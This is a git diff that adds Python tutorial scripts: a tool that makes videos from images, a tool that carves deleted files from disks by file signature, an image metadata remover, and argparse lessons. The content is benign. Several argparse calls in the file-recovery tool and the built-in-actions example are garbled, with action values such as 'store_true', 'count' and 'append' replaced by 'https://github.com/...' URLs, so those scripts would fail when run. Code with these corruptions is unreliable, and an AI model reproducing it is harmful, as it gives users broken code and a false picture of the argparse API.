+# [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python)
\ No newline at end of file
diff --git a/python-for-multimedia/create-video-from-images/create_video_from_images.py b/python-for-multimedia/create-video-from-images/create_video_from_images.py
new file mode 100644
index 00000000..e81efd9a
--- /dev/null
+++ b/python-for-multimedia/create-video-from-images/create_video_from_images.py
@@ -0,0 +1,43 @@
+import cv2
+import argparse
+import glob
+from pathlib import Path
+import shutil
+
+# Create an ArgumentParser object to handle command-line arguments
+parser = argparse.ArgumentParser(description='Create a video from a set of images')
+
+# Define the command-line arguments
+parser.add_argument('output', type=str, help='Output path for video file')
+parser.add_argument('input', nargs='+', type=str, help='Glob pattern for input images')
+parser.add_argument('-fps', type=int, help='FPS for video file', default=24)
+
+# Parse the command-line arguments
+args = parser.parse_args()
+
+# Create a list of all the input image files
+FILES = []
+for i in args.input:
+    FILES += glob.glob(i)
+
+# Get the filename from the output path
+filename = Path(args.output).name
+print(f'Creating video "{filename}" from images "{FILES}"')
+
+# Load the first image to get the frame size
+frame = cv2.imread(FILES[0])
+height, width, layers = frame.shape
+
+# Create a VideoWriter object to write the video file
+fourcc = cv2.VideoWriter_fourcc(*'mp4v')
+video = cv2.VideoWriter(filename=filename, fourcc=fourcc, fps=args.fps, frameSize=(width, height))
+
+# Loop through the input images and add them to the video
+for image_path in FILES:
+    print(f'Adding image "{image_path}" to video "{args.output}"... ')
+    video.write(cv2.imread(image_path))
+
+# Release the VideoWriter and move the output file to the specified location
+cv2.destroyAllWindows()
+video.release()
+shutil.move(filename, args.output)
diff --git a/python-for-multimedia/create-video-from-images/requirements.txt b/python-for-multimedia/create-video-from-images/requirements.txt
new file mode 100644
index 00000000..1db7aea1
--- /dev/null
+++ b/python-for-multimedia/create-video-from-images/requirements.txt
@@ -0,0 +1 @@
+opencv-python
\ No newline at end of file
diff --git a/python-for-multimedia/recover-deleted-files/README.md b/python-for-multimedia/recover-deleted-files/README.md
new file mode 100644
index 00000000..9b57b100
--- /dev/null
+++ b/python-for-multimedia/recover-deleted-files/README.md
@@ -0,0 +1 @@
+# [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python)
\ No newline at end of file
diff --git a/python-for-multimedia/recover-deleted-files/file_recovery.py b/python-for-multimedia/recover-deleted-files/file_recovery.py
new file mode 100644
index 00000000..057995c4
--- /dev/null
+++ b/python-for-multimedia/recover-deleted-files/file_recovery.py
@@ -0,0 +1,552 @@
+
+import os
+import sys
+import argparse
+import struct
+import time
+import logging
+import subprocess
+import signal
+from datetime import datetime, timedelta
+from pathlib import Path
+import binascii
+
+# File signatures (magic numbers) for common file types
+FILE_SIGNATURES = {
+    'jpg': [bytes([0xFF, 0xD8, 0xFF, 0xE0]), bytes([0xFF, 0xD8, 0xFF, 0xE1])],
+    'png': [bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])],
+    'gif': [bytes([0x47, 0x49, 0x46, 0x38, 0x37, 0x61]), bytes([0x47, 0x49, 0x46, 0x38, 0x39, 0x61])],
+    'pdf': [bytes([0x25, 0x50, 0x44, 0x46])],
+    'zip': [bytes([0x50, 0x4B, 0x03, 0x04])],
+    'docx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])],  # More specific signature
+    'xlsx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])],  # More specific signature
+    'pptx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])],  # More specific signature
+    'mp3': [bytes([0x49, 0x44, 0x33])],
+    'mp4': [bytes([0x00, 0x00, 0x00, 0x18, 0x66, 0x74, 0x79, 0x70])],
+    'avi': [bytes([0x52, 0x49, 0x46, 0x46])],
+}
+
+# Additional validation patterns to check after finding the signature
+# This helps reduce false positives
+VALIDATION_PATTERNS = {
+    'docx': [b'word/', b'[Content_Types].xml'],
+    'xlsx': [b'xl/', b'[Content_Types].xml'],
+    'pptx': [b'ppt/', b'[Content_Types].xml'],
+    'zip': [b'PK\x01\x02'],  # Central directory header
+    'pdf': [b'obj', b'endobj'],
+}
+
+# File endings (trailer signatures) for some file types
+FILE_TRAILERS = {
+    'jpg': bytes([0xFF, 0xD9]),
+    'png': bytes([0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82]),
+    'gif': bytes([0x00, 0x3B]),
+    'pdf': bytes([0x25, 0x25, 0x45, 0x4F, 0x46]),
+}
+
+# Maximum file sizes to prevent recovering corrupted files
+MAX_FILE_SIZES = {
+    'jpg': 30 * 1024 * 1024,  # 30MB
+    'png': 50 * 1024 * 1024,  # 50MB
+    'gif': 20 * 1024 * 1024,  # 20MB
+    'pdf': 100 * 1024 * 1024,  # 100MB
+    'zip': 200 * 1024 * 1024,  # 200MB
+    'docx': 50 * 1024 * 1024,  # 50MB
+    'xlsx': 50 * 1024 * 1024,  # 50MB
+    'pptx': 100 * 1024 * 1024,  # 100MB
+    'mp3': 50 * 1024 * 1024,  # 50MB
+    'mp4': 1024 * 1024 * 1024,  # 1GB
+    'avi': 1024 * 1024 * 1024,  # 1GB
+}
+
+class FileRecoveryTool:
+    def __init__(self, source, output_dir, file_types=None, deep_scan=False, 
+                 block_size=512, log_level=logging.INFO, skip_existing=True,
+                 max_scan_size=None, timeout_minutes=None):
+        """
+        Initialize the file recovery tool
+        
+        Args:
+            source (str): Path to the source device or directory
+            output_dir (str): Directory to save recovered files
+            file_types (list): List of file types to recover
+            deep_scan (bool): Whether to perform a deep scan
+            block_size (int): Block size for reading data
+            log_level (int): Logging level
+            skip_existing (bool): Skip existing files in output directory
+            max_scan_size (int): Maximum number of bytes to scan
+            timeout_minutes (int): Timeout in minutes
+        """
+        self.source = source
+        self.output_dir = Path(output_dir)
+        self.file_types = file_types if file_types else list(FILE_SIGNATURES.keys())
+        self.deep_scan = deep_scan
+        self.block_size = block_size
+        self.skip_existing = skip_existing
+        self.max_scan_size = max_scan_size
+        self.timeout_minutes = timeout_minutes
+        self.timeout_reached = False
+        
+        # Setup logging
+        self.setup_logging(log_level)
+        
+        # Create output directory if it doesn't exist
+        self.output_dir.mkdir(parents=True, exist_ok=True)
+        
+        # Statistics
+        self.stats = {
+            'total_files_recovered': 0,
+            'recovered_by_type': {},
+            'start_time': time.time(),
+            'bytes_scanned': 0,
+            'false_positives': 0
+        }
+        
+        for file_type in self.file_types:
+            self.stats['recovered_by_type'][file_type] = 0
+    
+    def setup_logging(self, log_level):
+        """Set up logging configuration"""
+        logging.basicConfig(
+            level=log_level,
+            format='%(asctime)s - %(levelname)s - %(message)s',
+            handlers=[
+                logging.StreamHandler(),
+                logging.FileHandler(f"recovery_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log")
+            ]
+        )
+        self.logger = logging.getLogger('file_recovery')
+    
+    def _setup_timeout(self):
+        """Set up a timeout handler"""
+        if self.timeout_minutes:
+            def timeout_handler(signum, frame):
+                self.logger.warning(f"Timeout of {self.timeout_minutes} minutes reached!")
+                self.timeout_reached = True
+            
+            # Set the timeout
+            signal.signal(signal.SIGALRM, timeout_handler)
+            signal.alarm(int(self.timeout_minutes * 60))
+    
+    def get_device_size(self):
+        """Get the size of the device or file"""
+        if os.path.isfile(self.source):
+            # Regular file
+            return os.path.getsize(self.source)
+        else:
+            # Block device
+            try:
+                # Try using blockdev command (Linux)
+                result = subprocess.run(['blockdev', '--getsize64', self.source], 
+                                      capture_output=True, text=True, check=True)
+                return int(result.stdout.strip())
+            except (subprocess.SubprocessError, FileNotFoundError):
+                try:
+                    # Try using ioctl (requires root)
+                    import fcntl
+                    with open(self.source, 'rb') as fd:
+                        # BLKGETSIZE64 = 0x80081272
+                        buf = bytearray(8)
+                        fcntl.ioctl(fd, 0x80081272, buf)
+                        return struct.unpack('L', buf)[0]
+                except:
+                    # Last resort: try to seek to the end
+                    try:
+                        with open(self.source, 'rb') as fd:
+                            fd.seek(0, 2)  # Seek to end
+                            return fd.tell()
+                    except:
+                        self.logger.warning("Could not determine device size. Using fallback size.")
+                        # Fallback to a reasonable size for testing
+                        return 1024 * 1024 * 1024  # 1GB
+    
+    def scan_device(self):
+        """Scan the device for deleted files"""
+        self.logger.info(f"Starting scan of {self.source}")
+        self.logger.info(f"Looking for file types: {', '.join(self.file_types)}")
+        
+        try:
+            # Get device size
+            device_size = self.get_device_size()
+            self.logger.info(f"Device size: {self._format_size(device_size)}")
+            
+            # Set up timeout if specified
+            if self.timeout_minutes:
+                self._setup_timeout()
+                self.logger.info(f"Timeout set for {self.timeout_minutes} minutes")
+            
+            with open(self.source, 'rb', buffering=0) as device:  # buffering=0 for direct I/O
+                self._scan_device_data(device, device_size)
+                
+        except (IOError, OSError) as e:
+            self.logger.error(f"Error accessing source: {e}")
+            return False
+        
+        self._print_summary()
+        return True
+    
+    def _scan_device_data(self, device, device_size):
+        """Scan the device data for file signatures"""
+        position = 0
+        
+        # Limit scan size if specified
+        if self.max_scan_size and self.max_scan_size < device_size:
+            self.logger.info(f"Limiting scan to first {self._format_size(self.max_scan_size)} of device")
+            device_size = self.max_scan_size
+        
+        # Create subdirectories for each file type
+        for file_type in self.file_types:
+            (self.output_dir / file_type).mkdir(exist_ok=True)
+        
+        scan_start_time = time.time()
+        last_progress_time = scan_start_time
+        
+        # Read the device in blocks
+        while position < device_size:
+            # Check if timeout reached
+            if self.timeout_reached:
+                self.logger.warning("Stopping scan due to timeout")
+                break
+                
+            try:
+                # Seek to position first
+                device.seek(position)
+                
+                # Read a block of data
+                data = device.read(self.block_size)
+                if not data:
+                    break
+                    
+                self.stats['bytes_scanned'] += len(data)
+                
+                # Check for file signatures in this block
+                for file_type in self.file_types:
+                    signatures = FILE_SIGNATURES.get(file_type, [])
+                    
+                    for signature in signatures:
+                        sig_pos = data.find(signature)
+                        
+                        if sig_pos != -1:
+                            # Found a file signature, try to recover the file
+                            absolute_pos = position + sig_pos
+                            device.seek(absolute_pos)
+                            
+                            self.logger.debug(f"Found {file_type} signature at position {absolute_pos}")
+                            
+                            # Recover the file
+                            if self._recover_file(device, file_type, absolute_pos):
+                                self.stats['total_files_recovered'] += 1
+                                self.stats['recovered_by_type'][file_type] += 1
+                            else:
+                                self.stats['false_positives'] += 1
+                            
+                            # Reset position to continue scanning
+                            device.seek(position + self.block_size)
+                
+                # Update position and show progress
+                position += self.block_size
+                current_time = time.time()
+                
+                # Show progress every 5MB or 10 seconds, whichever comes first
+                if (position % (5 * 1024 * 1024) == 0) or (current_time - last_progress_time >= 10):
+                    percent = (position / device_size) * 100 if device_size > 0 else 0
+                    elapsed = current_time - self.stats['start_time']
+                    
+                    # Calculate estimated time remaining
+                    if position > 0 and device_size > 0:
+                        bytes_per_second = position / elapsed if elapsed > 0 else 0
+                        remaining_bytes = device_size - position
+                        eta_seconds = remaining_bytes / bytes_per_second if bytes_per_second > 0 else 0
+                        eta_str = str(timedelta(seconds=int(eta_seconds)))
+                    else:
+                        eta_str = "unknown"
+                    
+                    self.logger.info(f"Progress: {percent:.2f}% ({self._format_size(position)} / {self._format_size(device_size)}) - "
+                                    f"{self.stats['total_files_recovered']} files recovered - "
+                                    f"Elapsed: {timedelta(seconds=int(elapsed))} - ETA: {eta_str}")
+                    last_progress_time = current_time
+                    
+            except Exception as e:
+                self.logger.error(f"Error reading at position {position}: {e}")
+                position += self.block_size  # Skip this block and continue
+    
+    def _validate_file_content(self, data, file_type):
+        """
+        Additional validation to reduce false positives
+        
+        Args:
+            data: File data to validate
+            file_type: Type of file to validate
+            
+        Returns:
+            bool: True if file content appears valid
+        """
+        # Check minimum size
+        if len(data) < 100:
+            return False
+            
+        # Check for validation patterns
+        patterns = VALIDATION_PATTERNS.get(file_type, [])
+        if patterns:
+            for pattern in patterns:
+                if pattern in data:
+                    return True
+            return False  # None of the patterns were found
+            
+        # For file types without specific validation patterns
+        return True
+    
+    def _recover_file(self, device, file_type, start_position):
+        """
+        Recover a file of the given type starting at the given position
+        
+        Args:
+            device: Open file handle to the device
+            file_type: Type of file to recover
+            start_position: Starting position of the file
+            
+        Returns:
+            bool: True if file was recovered successfully
+        """
+        max_size = MAX_FILE_SIZES.get(file_type, 10 * 1024 * 1024)  # Default to 10MB
+        trailer = FILE_TRAILERS.get(file_type)
+        
+        # Generate a unique filename
+        filename = f"{file_type}_{start_position}_{int(time.time())}_{binascii.hexlify(os.urandom(4)).decode()}.{file_type}"
+        output_path = self.output_dir / file_type / filename
+        
+        if self.skip_existing and output_path.exists():
+            self.logger.debug(f"Skipping existing file: {output_path}")
+            return False
+        
+        # Save the current position to restore later
+        current_pos = device.tell()
+        
+        try:
+            # Seek to the start of the file
+            device.seek(start_position)
+            
+            # Read the file data
+            if trailer and self.deep_scan:
+                # If we know the trailer and deep scan is enabled, read until trailer
+                file_data = self._read_until_trailer(device, trailer, max_size)
+            else:
+                # Otherwise, use heuristics to determine file size
+                file_data = self._read_file_heuristic(device, file_type, max_size)
+            
+            if not file_data or len(file_data) < 100:  # Ignore very small files
+                return False
+                
+            # Additional validation to reduce false positives
+            if not self._validate_file_content(file_data, file_type):
+                self.logger.debug(f"Skipping invalid {file_type} file at position {start_position}")
+                return False
+                
+            # Write the recovered file
+            with open(output_path, 'wb') as f:
+                f.write(file_data)
+                
+            self.logger.info(f"Recovered {file_type} file: {filename} ({self._format_size(len(file_data))})")
+            return True
+            
+        except Exception as e:
+            self.logger.error(f"Error recovering file at position {start_position}: {e}")
+            return False
+        finally:
+            # Restore the original position
+            try:
+                device.seek(current_pos)
+            except:
+                pass  # Ignore seek errors in finally block
+    
+    def _read_until_trailer(self, device, trailer, max_size):
+        """Read data until a trailer signature is found or max size is reached"""
+        buffer = bytearray()
+        chunk_size = 4096
+        
+        while len(buffer) < max_size:
+            try:
+                chunk = device.read(chunk_size)
+                if not chunk:
+                    break
+                    
+                buffer.extend(chunk)
+                
+                # Check if trailer is in the buffer
+                trailer_pos = buffer.find(trailer, max(0, len(buffer) - len(trailer) - chunk_size))
+                if trailer_pos != -1:
+                    # Found trailer, return data up to and including the trailer
+                    return buffer[:trailer_pos + len(trailer)]
+            except Exception as e:
+                self.logger.error(f"Error reading chunk: {e}")
+                break
+        
+        # If we reached max size without finding a trailer, return what we have
+        return buffer if len(buffer) > 100 else None
+    
+    def _read_file_heuristic(self, device, file_type, max_size):
+        """
+        Use heuristics to determine file size when trailer is unknown
+        This is a simplified approach - real tools use more sophisticated methods
+        """
+        buffer = bytearray()
+        chunk_size = 4096
+        valid_chunks = 0
+        invalid_chunks = 0
+        
+        # For Office documents and ZIP files, read a larger initial chunk to validate
+        initial_chunk_size = 16384 if file_type in ['docx', 'xlsx', 'pptx', 'zip'] else chunk_size
+        
+        # Read initial chunk for validation
+        initial_chunk = device.read(initial_chunk_size)
+        if not initial_chunk:
+            return None
+            
+        buffer.extend(initial_chunk)
+        
+        # For Office documents, check if it contains required elements
+        if file_type in ['docx', 'xlsx', 'pptx', 'zip']:
+            # Basic validation for Office Open XML files
+            if file_type == 'docx' and b'word/' not in initial_chunk:
+                return None
+            if file_type == 'xlsx' and b'xl/' not in initial_chunk:
+                return None
+            if file_type == 'pptx' and b'ppt/' not in initial_chunk:
+                return None
+            if file_type == 'zip' and b'PK\x01\x02' not in initial_chunk:
+                return None
+        
+        # Continue reading chunks
+        while len(buffer) < max_size:
+            try:
+                chunk = device.read(chunk_size)
+                if not chunk:
+                    break
+                    
+                buffer.extend(chunk)
+                
+                # Simple heuristic: for binary files, check if chunk contains too many non-printable characters
+                # This is a very basic approach and would need to be refined for real-world use
+                if file_type in ['jpg', 'png', 'gif', 'pdf', 'zip', 'docx', 'xlsx', 'pptx', 'mp3', 'mp4', 'avi']:
+                    # For binary files, we continue reading until we hit max size or end of device
+                    valid_chunks += 1
+                    
+                    # For ZIP-based formats, check for corruption
+                    if file_type in ['zip', 'docx', 'xlsx', 'pptx'] and b'PK' not in chunk and valid_chunks > 10:
+                        # If we've read several chunks and don't see any more PK signatures, we might be past the file
+                        invalid_chunks += 1
+                    
+                else:
+                    # For text files, we could check for text validity
+                    printable_ratio = sum(32 <= b <= 126 or b in (9, 10, 13) for b in chunk) / len(chunk)
+                    if printable_ratio < 0.7:  # If less than 70% printable characters
+                        invalid_chunks += 1
+                    else:
+                        valid_chunks += 1
+                        
+                # If we have too many invalid chunks in a row, stop
+                if invalid_chunks > 3:
+                    return buffer[:len(buffer) - (invalid_chunks * chunk_size)]
+            except Exception as e:
+                self.logger.error(f"Error reading chunk in heuristic: {e}")
+                break
+        
+        return buffer
+    
+    def _format_size(self, size_bytes):
+        """Format size in bytes to a human-readable string"""
+        for unit in ['B', 'KB', 'MB', 'GB', 'TB']:
+            if size_bytes < 1024 or unit == 'TB':
+                return f"{size_bytes:.2f} {unit}"
+            size_bytes /= 1024
+    
+    def _print_summary(self):
+        """Print a summary of the recovery operation"""
+        elapsed = time.time() - self.stats['start_time']
+        
+        self.logger.info("=" * 50)
+        self.logger.info("Recovery Summary")
+        self.logger.info("=" * 50)
+        self.logger.info(f"Total files recovered: {self.stats['total_files_recovered']}")
+        self.logger.info(f"False positives detected and skipped: {self.stats['false_positives']}")
+        self.logger.info(f"Total data scanned: {self._format_size(self.stats['bytes_scanned'])}")
+        self.logger.info(f"Time elapsed: {timedelta(seconds=int(elapsed))}")
+        self.logger.info("Files recovered by type:")
+        
+        for file_type, count in self.stats['recovered_by_type'].items():
+            if count > 0:
+                self.logger.info(f"  - {file_type}: {count}")
+        
+        if self.timeout_reached:
+            self.logger.info("Note: Scan was stopped due to timeout")
+            
+        self.logger.info("=" * 50)
+
+
+def main():
+    """Main function to parse arguments and run the recovery tool"""
+    parser = argparse.ArgumentParser(description='File Recovery Tool - Recover deleted files from storage devices')
+    
+    parser.add_argument('source', help='Source device or directory to recover files from (e.g., /dev/sdb, /media/usb)')
+    parser.add_argument('output', help='Directory to save recovered files')
+    
+    parser.add_argument('-t', '--types', nargs='+', choices=FILE_SIGNATURES.keys(), default=None,
+                        help='File types to recover (default: all supported types)')
+    
+    parser.add_argument('-d', '--deep-scan', action='https://github.com/store_true',
+                        help='Perform a deep scan (slower but more thorough)')
+    
+    parser.add_argument('-b', '--block-size', type=int, default=512,
+                        help='Block size for reading data (default: 512 bytes)')
+    
+    parser.add_argument('-v', '--verbose', action='https://github.com/store_true',
+                        help='Enable verbose output')
+    
+    parser.add_argument('-q', '--quiet', action='https://github.com/store_true',
+                        help='Suppress all output except errors')
+    
+    parser.add_argument('--no-skip', action='https://github.com/store_true',
+                        help='Do not skip existing files in output directory')
+    
+    parser.add_argument('--max-size', type=int, 
+                        help='Maximum size to scan in MB (e.g., 1024 for 1GB)')
+    
+    parser.add_argument('--timeout', type=int, default=None,
+                        help='Stop scanning after specified minutes')
+    
+    args = parser.parse_args()
+    
+    # Set logging level based on verbosity
+    if args.quiet:
+        log_level = logging.ERROR
+    elif args.verbose:
+        log_level = logging.DEBUG
+    else:
+        log_level = logging.INFO
+    
+    # Convert max size from MB to bytes if specified
+    max_scan_size = args.max_size * 1024 * 1024 if args.max_size else None
+    
+    # Create and run the recovery tool
+    recovery_tool = FileRecoveryTool(
+        source=args.source,
+        output_dir=args.output,
+        file_types=args.types,
+        deep_scan=args.deep_scan,
+        block_size=args.block_size,
+        log_level=log_level,
+        skip_existing=not args.no_skip,
+        max_scan_size=max_scan_size,
+        timeout_minutes=args.timeout
+    )
+    
+    try:
+        recovery_tool.scan_device()
+    except KeyboardInterrupt:
+        print("\nRecovery process interrupted by user.")
+        recovery_tool._print_summary()
+        sys.exit(1)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/python-for-multimedia/remove-metadata-from-images/README.md b/python-for-multimedia/remove-metadata-from-images/README.md
new file mode 100644
index 00000000..f1fd7f5c
--- /dev/null
+++ b/python-for-multimedia/remove-metadata-from-images/README.md
@@ -0,0 +1 @@
+# [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python)
\ No newline at end of file
diff --git a/python-for-multimedia/remove-metadata-from-images/clear_metadata.py b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py
new file mode 100644
index 00000000..093f6432
--- /dev/null
+++ b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py
@@ -0,0 +1,33 @@
+# Import necessary libraries.
+import argparse
+from PIL import Image
+
+
+# Function to clear Metadata from a specified image.
+def clear_all_metadata(imgname):
+  
+    # Open the image file
+    img = Image.open(imgname)
+    
+    # Read the image data, excluding metadata.
+    data = list(img.getdata())
+    
+    # Create a new image with the same mode and size but without metadata.
+    img_without_metadata = Image.new(img.mode, img.size)
+    img_without_metadata.putdata(data)
+    
+    # Save the new image over the original file, effectively removing metadata.
+    img_without_metadata.save(imgname)
+    
+    print(f"Metadata successfully cleared from '{imgname}'.")
+
+# Setup command line argument parsing
+parser = argparse.ArgumentParser(description="Remove metadata from an image file.")
+parser.add_argument("img", help="Image file from which to remove metadata")
+
+# Parse arguments
+args = parser.parse_args()
+
+# If an image file is provided, clear its metadata
+if args.img:
+    clear_all_metadata(args.img)
diff --git a/python-for-multimedia/remove-metadata-from-images/requirements.txt b/python-for-multimedia/remove-metadata-from-images/requirements.txt
new file mode 100644
index 00000000..5873a222
--- /dev/null
+++ b/python-for-multimedia/remove-metadata-from-images/requirements.txt
@@ -0,0 +1 @@
+Pillow
\ No newline at end of file
diff --git a/python-standard-library/argparse/1_simple_example.py b/python-standard-library/argparse/1_simple_example.py
new file mode 100644
index 00000000..cbd22bbf
--- /dev/null
+++ b/python-standard-library/argparse/1_simple_example.py
@@ -0,0 +1,7 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('input', help='Input file to process.')
+
+args = parser.parse_args()
+print(f'Processing file: {args.input}')
diff --git a/python-standard-library/argparse/2.2_default_and_required.py b/python-standard-library/argparse/2.2_default_and_required.py
new file mode 100644
index 00000000..f4d4c276
--- /dev/null
+++ b/python-standard-library/argparse/2.2_default_and_required.py
@@ -0,0 +1,10 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('input', help='Input file to process.')
+# parser.add_argument('-o', '--output', default='output.txt', help='Output file.')
+parser.add_argument('-o', '--output', required=True, help='Output file.')
+
+args = parser.parse_args()
+print(f'Processing file: {args.input}')
+print(f"Writing to file: {args.output}")
diff --git a/python-standard-library/argparse/2.3_choices.py b/python-standard-library/argparse/2.3_choices.py
new file mode 100644
index 00000000..01db0c06
--- /dev/null
+++ b/python-standard-library/argparse/2.3_choices.py
@@ -0,0 +1,9 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('input', help='Input file to process.')
+parser.add_argument('-m', '--mode', choices=['add', 'subtract', 'multiply', 'divide'], help='Calculation mode.')
+
+args = parser.parse_args()
+print(f'Processing file: {args.input}')
+print(f"Mode: {args.mode}")
diff --git a/python-standard-library/argparse/2.5_nargs.py b/python-standard-library/argparse/2.5_nargs.py
new file mode 100644
index 00000000..88b9be93
--- /dev/null
+++ b/python-standard-library/argparse/2.5_nargs.py
@@ -0,0 +1,10 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('--values', nargs=3)
+# parser.add_argument('--value', nargs='?', default='default_value')
+# parser.add_argument('--values', nargs='*')
+# parser.add_argument('--values', nargs='+')
+
+args = parser.parse_args()
+print(f"Values: {args.values}")
diff --git a/python-standard-library/argparse/2.6_builtin_actions.py b/python-standard-library/argparse/2.6_builtin_actions.py
new file mode 100644
index 00000000..256932e8
--- /dev/null
+++ b/python-standard-library/argparse/2.6_builtin_actions.py
@@ -0,0 +1,13 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument('--foo', action='https://github.com/store', help='Store the value of foo.')
+parser.add_argument('--enable', action='https://github.com/store_true', help='Enable the feature.')
+parser.add_argument('--disable', action='https://github.com/store_false', help='Disable the feature.')
+parser.add_argument('--level', action='https://github.com/store_const', const='advanced', help='Set level to advanced.')
+parser.add_argument('--values', action='https://github.com/append', help='Append values to a list.')
+parser.add_argument('--add_const', action='https://github.com/append_const', const=42, help='Add 42 to the list.')
+parser.add_argument('-v', '--verbose', action='https://github.com/count', help='Increase verbosity level.')
+args = parser.parse_args()
+print(f"Values: {args.values}")
+print(f"Verbosity: {args.verbose}")
diff --git a/python-standard-library/argparse/2.6_custom_actions.py b/python-standard-library/argparse/2.6_custom_actions.py
new file mode 100644
index 00000000..86d15392
--- /dev/null
+++ b/python-standard-library/argparse/2.6_custom_actions.py
@@ -0,0 +1,16 @@
+import argparse
+
+class CustomAction(argparse.Action):
+    def __call__(self, parser, namespace, values, option_string=None):
+        # Perform custom processing on the argument values
+        processed_values = [value.upper() for value in values]
+
+        # Set the attribute on the namespace object
+        setattr(namespace, self.dest, processed_values)
+
+# Set up argument parser and add the custom action
+parser = argparse.ArgumentParser(description='Custom argument action example.')
+parser.add_argument('-n', '--names', nargs='+', action=CustomAction, help='A list of names to be processed.')
+
+args = parser.parse_args()
+print(args.names)
diff --git a/python-standard-library/argparse/2.7_argument_types.py b/python-standard-library/argparse/2.7_argument_types.py
new file mode 100644
index 00000000..d595a6fd
--- /dev/null
+++ b/python-standard-library/argparse/2.7_argument_types.py
@@ -0,0 +1,6 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A simple argparse example.')
+parser.add_argument("-r", "--ratio", type=float)
+args = parser.parse_args()
+print(f"Ratio: {args.ratio}")
diff --git a/python-standard-library/argparse/3.3_subcommand_example.py b/python-standard-library/argparse/3.3_subcommand_example.py
new file mode 100644
index 00000000..55088d6c
--- /dev/null
+++ b/python-standard-library/argparse/3.3_subcommand_example.py
@@ -0,0 +1,10 @@
+import argparse
+
+parser = argparse.ArgumentParser(description='A subcommand example.')
+subparsers = parser.add_subparsers(help='Subcommand help')
+
+list_parser = subparsers.add_parser('list', help='List items')
+add_parser = subparsers.add_parser('add', help='Add an item')
+add_parser.add_argument('item', help='Item to add')
+
+args = parser.parse_args()
diff --git a/python-standard-library/argparse/4.1_file_renamer.py b/python-standard-library/argparse/4.1_file_renamer.py
new file mode 100644
index 00000000..0d5f2502
--- /dev/null
+++ b/python-standard-library/argparse/4.1_file_renamer.py
@@ -0,0 +1,46 @@
+import argparse
+import os
+
+# Rename function
+def rename_files(args):
+    # Your file renaming logic here
+    print(f"Renaming files in {args.path}...")
+    print(f"Prefix: {args.prefix}")
+    print(f"Suffix: {args.suffix}")
+    print(f"Replace: {args.replace}")
+    os.chdir(args.path)
+    for file in os.listdir():
+        # Get the file name and extension
+        file_name, file_ext = os.path.splitext(file)
+        # Add prefix
+        if args.prefix:
+            file_name = f"{args.prefix}{file_name}"
+        # Add suffix
+        if args.suffix:
+            file_name = f"{file_name}{args.suffix}"
+        # Replace substring
+        if args.replace:
+            file_name = file_name.replace(args.replace[0], args.replace[1])
+        # Rename the file
+        print(f"Renaming {file} to {file_name}{file_ext}")
+        os.rename(file, f"{file_name}{file_ext}")
+        
+# custom type for checking if a path exists
+def path_exists(path):
+    if os.path.exists(path):
+        return path
+    else:
+        raise argparse.ArgumentTypeError(f"Path {path} does not exist.")
+    
+    
+# Set up argument parser
+parser = argparse.ArgumentParser(description='File renaming tool.')
+parser.add_argument('path', type=path_exists, help='Path to the folder containing the files to rename.')
+parser.add_argument('-p', '--prefix', help='Add a prefix to each file name.')
+parser.add_argument('-s', '--suffix', help='Add a suffix to each file name.')
+parser.add_argument('-r', '--replace', nargs=2, help='Replace a substring in each file name. Usage: -r old_string new_string')
+
+args = parser.parse_args()
+
+# Call the renaming function
+rename_files(args)
diff --git a/python-standard-library/argparse/4.2_simple_calculator.py b/python-standard-library/argparse/4.2_simple_calculator.py
new file mode 100644
index 00000000..2f4ea64d
--- /dev/null
+++ b/python-standard-library/argparse/4.2_simple_calculator.py
@@ -0,0 +1,42 @@
+import argparse
+
+# Operation functions
+def add(args):
+    print(args.x + args.y)
+
+def subtract(args):
+    print(args.x - args.y)
+
+def multiply(args):
+    print(args.x * args.y)
+
+def divide(args):
+    print(args.x / args.y)
+
+# Set up argument parser
+parser = argparse.ArgumentParser(description='Command-line calculator.')
+subparsers = parser.add_subparsers()
+
+# Add subcommands
+add_parser = subparsers.add_parser('add', help='Add two numbers.')
+add_parser.add_argument('x', type=float, help='First number.')
+add_parser.add_argument('y', type=float, help='Second number.')
+add_parser.set_defaults(func=add)
+
+subtract_parser = subparsers.add_parser('subtract', help='Subtract two numbers.')
+subtract_parser.add_argument('x', type=float, help='First number.')
+subtract_parser.add_argument('y', type=float, help='Second number.')
+subtract_parser.set_defaults(func=subtract)
+
+multiply_parser = subparsers.add_parser('multiply', help='Multiply two numbers.')
+multiply_parser.add_argument('x', type=float, help='First number.')
+multiply_parser.add_argument('y', type=float, help='Second number.')
+multiply_parser.set_defaults(func=multiply)
+
+divide_parser = subparsers.add_parser('divide', help='Divide two numbers.')
+divide_parser.add_argument('x', type=float, help='First number.')
+divide_parser.add_argument('y', type=float, help='Second number.')
+divide_parser.set_defaults(func=divide)
+
+args = parser.parse_args()
+args.func(args)
diff --git a/python-standard-library/argparse/README.md b/python-standard-library/argparse/README.md
new file mode 100644
index 00000000..a0565d61
--- /dev/null
+++ b/python-standard-library/argparse/README.md
@@ -0,0 +1,4 @@
+# [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python)
+The `argparse` module in Python is a built-in module that helps us to parse command-line arguments. It is a very useful module that allows us to easily write user-friendly command-line interfaces. In this tutorial, we will learn how to use the `argparse` module in Python.
+
+The code is available for each section, so you can run it and see the output.
